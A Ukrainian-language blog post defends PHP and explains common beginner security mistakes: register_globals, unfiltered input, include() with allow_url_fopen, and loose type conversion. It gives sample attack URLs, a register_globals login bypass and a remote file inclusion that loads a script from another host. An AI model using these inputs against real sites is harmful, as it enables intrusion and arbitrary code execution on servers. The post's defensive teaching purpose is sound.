Телепузики – сила. Покемони – могила. Про РНР
« Мене задовбали трамваї і колії, кондуктори дибіли і профілакторії». Цей уривок із пісні «Олені» дуже гарно описав мої відчуття, коли я вкотре прочитав статтю на одному шанованому порталі про шкідливість застосування мови РНР. Знову вискочила цифра 43% ( саме стільки РНР-коду містить вразливості ). Та хіба винна та балярина, що їй мішає те, що мішає поганому танцюристу. От там використовують РНР і у них є недоліки і звісно тут винна мова програмування, а не програміст. Як противагу можна сказати, щоб відкрили код Windows і тоді чітко буде видно, чи винна мова програмування? Прочитавши одну мудру книжку, мудрий код писати не навчишся. Потрібно постійно пильнувати про всі події пов’язані із РНР, виявленні недоліки, підходи до побудови програмного коду. У даному матеріалі я спробую навести базові помилки із безпеки, які роблять початківці.
Найбільш груба помилка це використання register_globals. У конфігураціному файлі php.ini є такий рядок register_globals On, він так виставлений по замовчуванню, але не у всіх версіях. Параметр потрібно виставити у значення register_globals Off . У першому випадку доступ до змінних проходить по імені змінної. If ($user==”user” || $pass==”pass”) $log=1; Завантаживши адресу http://andr.ua/test.php?user=user&pass=pass змінна $log отримає значення 1 і виконається якийсь код у залежності від значення цієї змінної. Даний механізм можна обійти ввівши таке http://andr.ua/test.php?log=1. При register_globals Off значення змінних необхідно брати із масиву $HTTP_*_VARS. І такий спосіб взлому вже не пройде. У даному випадку $user = $_GET [“user”] при використанні методу GET і $user = $_POST[“user”] при POST .
Якщо створюваний об’єкт буде містити поле для вводу інформації, то цю інформацію необхідно завжди фільтрувати. Найбанальніше це можна застосувати функції escapeshellarg (); , htmlspecialchars (); та інші споріднені. Я рекомендую використовувати бібліотеку ООН Forms із phplib. Це незалежний клас, що служить для створення форм і провірки коректності введених даних.
Нехай маємо наступний код include($page);. При параметрі allow_url_fopen On користувачу дозволено виконати на сервері довільний РНР код, що прийде до нього з іншої адреси. Тобто, нехай test.php містить вище наведений код. Програміст це використовує наступним чином test.php?page=main. Тоді як я це використаю так test.php?page=http://andr.ua//badscript.php і торба тоді наступить їхньому сайту.
Тим же include (); можна підключати до об’єкту кілька тих самих файлів. Щоб цього уникнути рекомендую завжди використовувати include_once (); Це те саме що і include (); тільки тут файл прикріплюється до об’єкту тільки одни раз.
Недоліком, на мою думку, мови РНР є необов’язковість оголошення типу використовуваної змінної. Це може призвести до зловживань. По замовчуванню змінні мають символьний тип. А це означає, що як значення я можу їй передати якусь url . Нагадую, що тип змінної вказується наступним чином settype ($Change, type) . Обережно слід себе поводити і при перетворенні типів змінної. Наприклад
$Change = “2 Andriy Andrukhiv”;
settype ($Change,integer);
echo (gettype($Change));
echo ($Change);
Програмка в результаті виведе integer та 2. А мала б виникнути помилка. Для коректного перетворення типу все, що йде після 2 потрібно відкинути. Інтерпретатор знайшов на початку стрічки цифру 2 і використовує її. І тут потрібно слідкувати, щоб він не відкинув якусь важливу інформацію.
Нерозуміння механізмів функціонування компонентів РНР призводить до породження помилок коду. Детальніше про безпеку РНР можна прочитати за адресою http://php.net/manual/en/security.php
Recent comments
12 years 52 weeks ago
13 years 2 weeks ago
13 years 36 weeks ago
13 years 43 weeks ago
14 years 28 weeks ago
14 years 51 weeks ago
15 years 5 weeks ago
15 years 11 weeks ago
15 years 13 weeks ago
15 years 27 weeks ago